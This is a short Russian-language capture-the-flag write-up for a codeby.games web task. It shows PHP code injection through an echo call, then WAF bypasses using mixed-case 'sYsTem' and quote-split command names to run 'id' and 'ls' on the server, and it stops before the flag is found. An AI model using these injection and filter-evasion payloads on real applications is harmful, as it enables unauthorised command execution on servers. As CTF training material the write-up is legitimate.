Codeby Games Writeup обходной путь (Web codeby.games)

[tree]

Привет! Разберем решение таска Обходной путь
Функционал приложения php функция - echo. появляется мысль о эксплутации php injection попробуем вывести phpinfo()

Сработало! значит попробуем выполнить команды на сервере через функцию system
echo '123';system(”id”);

WAF нас блочит, значит будем пробовать обойти фильтрацию.
echo '123';sYsTem("id");

Отлично! Пробуем посмотреть файлы в каталоге.
echo '123';sYsTem("ls");
но WAF снова нас заблочил, значит и тут найти обходной путь
echo ‘123’;sYsTem("'l''s'"’);

Дальше остается найти только флаг